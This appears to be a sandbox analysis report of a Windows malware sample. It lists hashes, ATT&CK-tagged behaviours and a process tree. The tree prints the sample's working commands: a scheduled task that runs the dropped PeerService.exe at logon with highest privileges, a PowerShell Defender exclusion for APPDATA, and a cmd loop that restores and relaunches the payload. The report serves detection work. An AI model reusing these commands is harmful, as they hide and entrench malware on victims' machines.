8f2837c874e4d506d4ea5d1797763e2aee8681af3ca7eafeffa0d9f4b955e08c

Analysis

max time kernel
149s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
16/09/2026, 14:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
8f2837c874e4d506d4ea5d1797763e2aee8681af3ca7eafeffa0d9f4b955e08c.exe
Size 6.4MB
Sample260916-sbp18ssalg
SHA256 8f2837c874e4d506d4ea5d1797763e2aee8681af3ca7eafeffa0d9f4b955e08c
MD5 2c9f06e704dfdf8476b76c467932e188
SHA1 c1b4b927f6834e68ef81306a037e3363867b8930
SHA512 b1f767cf18bccc13459804f88be4177892777e989719076ba3e3ed9ed29c0c68d3007ca8cd62a932eda6f7d8922875645c55130b6f9a57ca24810986d1e5c186
SSDEEP 196608:s+hBtOkSEByQyVG/uzGNVyAl3K8fCGnbP3JzATCe:7tOANSG/lVrl3KExL3JzAT7
TLSH
T10966012BB26901E8E1BFD17CC9165907EBB2780543A097CF12E046A62F77BE14E7E705
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1060	powershell.exe
1644	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	8f2837c874e4d506d4ea5d1797763e2aee8681af3ca7eafeffa0d9f4b955e08c.exe

Executes dropped EXE 2 IoCs

pid	Process
5080	PeerService.exe
4708	PeerService.exe

Discovers running processes 1 TTPs 60 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3844	tasklist.exe
2088	tasklist.exe
4848	tasklist.exe
2404	tasklist.exe
1984	tasklist.exe
4664	tasklist.exe
4672	tasklist.exe
3952	tasklist.exe
3788	tasklist.exe
2848	tasklist.exe
1988	tasklist.exe
1264	tasklist.exe
1148	tasklist.exe
4024	tasklist.exe
32	tasklist.exe
1720	tasklist.exe
2892	tasklist.exe
4128	tasklist.exe
5084	tasklist.exe
3232	tasklist.exe
3492	tasklist.exe
4816	tasklist.exe
1160	tasklist.exe
4360	tasklist.exe
616	tasklist.exe
4488	tasklist.exe
4240	tasklist.exe
3432	tasklist.exe
4592	tasklist.exe
4828	tasklist.exe
5028	tasklist.exe
4000	tasklist.exe
3164	tasklist.exe
4408	tasklist.exe
4204	tasklist.exe
884	tasklist.exe
2692	tasklist.exe
1752	tasklist.exe
4396	tasklist.exe
312	tasklist.exe
4136	tasklist.exe
4952	tasklist.exe
4052	tasklist.exe
1500	tasklist.exe
2768	tasklist.exe
3844	tasklist.exe
364	tasklist.exe
4200	tasklist.exe
5004	tasklist.exe
3316	tasklist.exe
64	tasklist.exe
584	tasklist.exe
4752	tasklist.exe
4004	tasklist.exe
2400	tasklist.exe
2056	tasklist.exe
4208	tasklist.exe
1064	tasklist.exe
3880	tasklist.exe
4620	tasklist.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 5 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4428	cmd.exe
1844	cmd.exe
1164	cmd.exe
4576	cmd.exe
2360	cmd.exe

Delays execution with timeout.exe 60 IoCs

defense_evasion

pid	Process
2280	timeout.exe
512	timeout.exe
2432	timeout.exe
2072	timeout.exe
552	timeout.exe
4108	timeout.exe
3756	timeout.exe
928	timeout.exe
3032	timeout.exe
2988	timeout.exe
2708	timeout.exe
1420	timeout.exe
2480	timeout.exe
4684	timeout.exe
2504	timeout.exe
4296	timeout.exe
1516	timeout.exe
5052	timeout.exe
556	timeout.exe
3636	timeout.exe
1900	timeout.exe
4944	timeout.exe
4716	timeout.exe
1956	timeout.exe
3860	timeout.exe
1640	timeout.exe
808	timeout.exe
2412	timeout.exe
3756	timeout.exe
4264	timeout.exe
944	timeout.exe
3424	timeout.exe
4544	timeout.exe
2828	timeout.exe
5040	timeout.exe
4636	timeout.exe
4704	timeout.exe
1480	timeout.exe
4084	timeout.exe
1984	timeout.exe
1808	timeout.exe
2328	timeout.exe
3164	timeout.exe
364	timeout.exe
544	timeout.exe
212	timeout.exe
4224	timeout.exe
944	timeout.exe
3120	timeout.exe
4140	timeout.exe
5104	timeout.exe
5088	timeout.exe
1584	timeout.exe
3184	timeout.exe
612	timeout.exe
2324	timeout.exe
1152	timeout.exe
3976	timeout.exe
3536	timeout.exe
3804	timeout.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3376	schtasks.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1060	powershell.exe
1060	powershell.exe
1644	powershell.exe
1644	powershell.exe

Suspicious use of AdjustPrivilegeToken 61 IoCs

description	pid	Process
Token: SeDebugPrivilege	4052	tasklist.exe
Token: SeDebugPrivilege	1060	powershell.exe
Token: SeDebugPrivilege	5004	tasklist.exe
Token: SeDebugPrivilege	1644	powershell.exe
Token: SeDebugPrivilege	3316	tasklist.exe
Token: SeDebugPrivilege	2848	tasklist.exe
Token: SeDebugPrivilege	4128	tasklist.exe
Token: SeDebugPrivilege	1984	tasklist.exe
Token: SeDebugPrivilege	64	tasklist.exe
Token: SeDebugPrivilege	3844	tasklist.exe
Token: SeDebugPrivilege	2400	tasklist.exe
Token: SeDebugPrivilege	4664	tasklist.exe
Token: SeDebugPrivilege	5084	tasklist.exe
Token: SeDebugPrivilege	2056	tasklist.exe
Token: SeDebugPrivilege	2892	tasklist.exe
Token: SeDebugPrivilege	1500	tasklist.exe
Token: SeDebugPrivilege	4488	tasklist.exe
Token: SeDebugPrivilege	4672	tasklist.exe
Token: SeDebugPrivilege	4208	tasklist.exe
Token: SeDebugPrivilege	4136	tasklist.exe
Token: SeDebugPrivilege	4024	tasklist.exe
Token: SeDebugPrivilege	32	tasklist.exe
Token: SeDebugPrivilege	3952	tasklist.exe
Token: SeDebugPrivilege	3492	tasklist.exe
Token: SeDebugPrivilege	3164	tasklist.exe
Token: SeDebugPrivilege	2768	tasklist.exe
Token: SeDebugPrivilege	4816	tasklist.exe
Token: SeDebugPrivilege	4240	tasklist.exe
Token: SeDebugPrivilege	1988	tasklist.exe
Token: SeDebugPrivilege	3844	tasklist.exe
Token: SeDebugPrivilege	4408	tasklist.exe
Token: SeDebugPrivilege	2088	tasklist.exe
Token: SeDebugPrivilege	364	tasklist.exe
Token: SeDebugPrivilege	4204	tasklist.exe
Token: SeDebugPrivilege	3432	tasklist.exe
Token: SeDebugPrivilege	4952	tasklist.exe
Token: SeDebugPrivilege	1064	tasklist.exe
Token: SeDebugPrivilege	884	tasklist.exe
Token: SeDebugPrivilege	1264	tasklist.exe
Token: SeDebugPrivilege	584	tasklist.exe
Token: SeDebugPrivilege	4592	tasklist.exe
Token: SeDebugPrivilege	3232	tasklist.exe
Token: SeDebugPrivilege	1148	tasklist.exe
Token: SeDebugPrivilege	4828	tasklist.exe
Token: SeDebugPrivilege	1160	tasklist.exe
Token: SeDebugPrivilege	4752	tasklist.exe
Token: SeDebugPrivilege	2692	tasklist.exe
Token: SeDebugPrivilege	4848	tasklist.exe
Token: SeDebugPrivilege	2404	tasklist.exe
Token: SeDebugPrivilege	3788	tasklist.exe
Token: SeDebugPrivilege	5028	tasklist.exe
Token: SeDebugPrivilege	1752	tasklist.exe
Token: SeDebugPrivilege	4000	tasklist.exe
Token: SeDebugPrivilege	3880	tasklist.exe
Token: SeDebugPrivilege	4396	tasklist.exe
Token: SeDebugPrivilege	616	tasklist.exe
Token: SeDebugPrivilege	312	tasklist.exe
Token: SeDebugPrivilege	4200	tasklist.exe
Token: SeDebugPrivilege	4004	tasklist.exe
Token: SeDebugPrivilege	4620	tasklist.exe
Token: SeDebugPrivilege	4360	tasklist.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3852 wrote to memory of 4428	3852	8f2837c874e4d506d4ea5d1797763e2aee8681af3ca7eafeffa0d9f4b955e08c.exe	83
PID 4428 wrote to memory of 3376	4428	cmd.exe	85
PID 3852 wrote to memory of 5080	3852	8f2837c874e4d506d4ea5d1797763e2aee8681af3ca7eafeffa0d9f4b955e08c.exe	86
PID 5080 wrote to memory of 1164	5080	PeerService.exe	89
PID 5080 wrote to memory of 1844	5080	PeerService.exe	90
PID 1164 wrote to memory of 1060	1164	cmd.exe	94
PID 1844 wrote to memory of 4052	1844	cmd.exe	95
PID 1844 wrote to memory of 1908	1844	cmd.exe	97
PID 4708 wrote to memory of 4576	4708	PeerService.exe	98
PID 4708 wrote to memory of 2360	4708	PeerService.exe	99
PID 4576 wrote to memory of 1644	4576	cmd.exe	103
PID 2360 wrote to memory of 5004	2360	cmd.exe	104
PID 2360 wrote to memory of 212	2360	cmd.exe	105
PID 2360 wrote to memory of 3164	2360	cmd.exe	106
PID 1844 wrote to memory of 4716	1844	cmd.exe	107
PID 2360 wrote to memory of 3316	2360	cmd.exe	108
PID 2360 wrote to memory of 3108	2360	cmd.exe	109
PID 1844 wrote to memory of 2848	1844	cmd.exe	110
PID 1844 wrote to memory of 2768	1844	cmd.exe	111
PID 2360 wrote to memory of 2280	2360	cmd.exe	112
PID 1844 wrote to memory of 4296	1844	cmd.exe	113
PID 2360 wrote to memory of 4128	2360	cmd.exe	114
PID 2360 wrote to memory of 3828	2360	cmd.exe	115
PID 1844 wrote to memory of 1984	1844	cmd.exe	116
PID 1844 wrote to memory of 4240	1844	cmd.exe	117
PID 2360 wrote to memory of 4704	2360	cmd.exe	118
PID 1844 wrote to memory of 4264	1844	cmd.exe	119
PID 2360 wrote to memory of 64	2360	cmd.exe	120
PID 2360 wrote to memory of 3240	2360	cmd.exe	121
PID 1844 wrote to memory of 3844	1844	cmd.exe	122
PID 1844 wrote to memory of 2128	1844	cmd.exe	123
PID 2360 wrote to memory of 2324	2360	cmd.exe	124
PID 1844 wrote to memory of 1152	1844	cmd.exe	125
PID 1844 wrote to memory of 2400	1844	cmd.exe	126
PID 1844 wrote to memory of 4984	1844	cmd.exe	127
PID 2360 wrote to memory of 4664	2360	cmd.exe	128
PID 2360 wrote to memory of 2428	2360	cmd.exe	129
PID 2360 wrote to memory of 364	2360	cmd.exe	130
PID 1844 wrote to memory of 3976	1844	cmd.exe	131
PID 2360 wrote to memory of 5084	2360	cmd.exe	132
PID 2360 wrote to memory of 3636	2360	cmd.exe	133
PID 1844 wrote to memory of 2056	1844	cmd.exe	134
PID 1844 wrote to memory of 1208	1844	cmd.exe	135
PID 2360 wrote to memory of 808	2360	cmd.exe	136
PID 1844 wrote to memory of 5052	1844	cmd.exe	137
PID 1844 wrote to memory of 1720	1844	cmd.exe	138
PID 1844 wrote to memory of 2208	1844	cmd.exe	139
PID 2360 wrote to memory of 2892	2360	cmd.exe	140
PID 2360 wrote to memory of 2600	2360	cmd.exe	141
PID 1844 wrote to memory of 1516	1844	cmd.exe	142
PID 2360 wrote to memory of 556	2360	cmd.exe	143
PID 1844 wrote to memory of 1500	1844	cmd.exe	144
PID 1844 wrote to memory of 4944	1844	cmd.exe	145
PID 2360 wrote to memory of 4488	2360	cmd.exe	146
PID 2360 wrote to memory of 4164	2360	cmd.exe	147
PID 1844 wrote to memory of 512	1844	cmd.exe	148
PID 2360 wrote to memory of 3756	2360	cmd.exe	149
PID 1844 wrote to memory of 4672	1844	cmd.exe	150
PID 1844 wrote to memory of 1512	1844	cmd.exe	151
PID 2360 wrote to memory of 4208	2360	cmd.exe	152
PID 2360 wrote to memory of 2880	2360	cmd.exe	153
PID 1844 wrote to memory of 3536	1844	cmd.exe	154
PID 2360 wrote to memory of 544	2360	cmd.exe	155
PID 1844 wrote to memory of 4136	1844	cmd.exe	156

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\8f2837c874e4d506d4ea5d1797763e2aee8681af3ca7eafeffa0d9f4b955e08c.exe
"C:\Users\Admin\AppData\Local\Temp\8f2837c874e4d506d4ea5d1797763e2aee8681af3ca7eafeffa0d9f4b955e08c.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3852
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /C "schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F >nul 2>nul"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4428
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN "PeerCreator" /TR "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3376
- C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
  "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1060
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1844
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4052
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1908
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4716
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2848
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2768
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4296
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1984
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4240
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4264
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3844
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2128
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1152
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2400
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4984
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3976
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2056
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1208
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5052
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      PID:1720
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2208
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1516
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1500
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4944
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:512
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4672
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1512
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3536
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4136
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1860
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:212
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:32
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1112
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3120
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3492
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:992
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:552
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2768
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:5028
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4108
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4240
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2948
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4140
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3844
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2128
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1956
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:364
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1412
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3424
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3432
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2528
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2432
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4952
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4620
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1640
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:884
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1500
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:3756
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4592
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2880
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:5088
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:1148
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2348
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4224
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4828
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:1908
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4636
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:2692
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3108
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2708
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4848
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3692
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1480
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:5028
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2288
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:4544
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4000
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2960
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:944
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4396
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4836
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2828
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:312
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:2872
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:2328
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4200
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:4204
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:1900
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:4620
  - - C:\Windows\system32\find.exe
      find /i "PeerService.exe"
      4⤵
      PID:3376
  - - C:\Windows\system32\timeout.exe
      timeout /t 5
      4⤵
      Delays execution with timeout.exe
      PID:612

C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4708
- C:\Windows\system32\cmd.exe
  cmd.exe /C "powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath $env:APPDATA"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1644
- C:\Windows\system32\cmd.exe
  cmd.exe /C "for /l %i in () do (tasklist | find /i "PeerService.exe" >nul || (copy /y "C:\Users\Admin\AppData\Local\Temp\\chw.aof" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & start "" "C:\Users\Admin\AppData\Roaming\PeerService\PeerService.exe" & exit) & timeout /t 5 >nul)"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5004
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:212
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3164
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3316
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3108
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2280
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4128
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3828
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:4704
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:64
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3240
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:2324
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4664
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2428
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:364
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:5084
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:3636
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:808
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:2892
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2600
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:556
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4488
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:4164
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3756
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4208
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:2880
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:544
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:4024
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:316
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:3804
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3952
- - C:\Windows\system32\find.exe
    find /i "PeerService.exe"
    3⤵
    PID:1644
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1420
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    - Suspicious use of AdjustPrivilegeToken
    PID:3164
- - C:\Windows\system32\find.exe
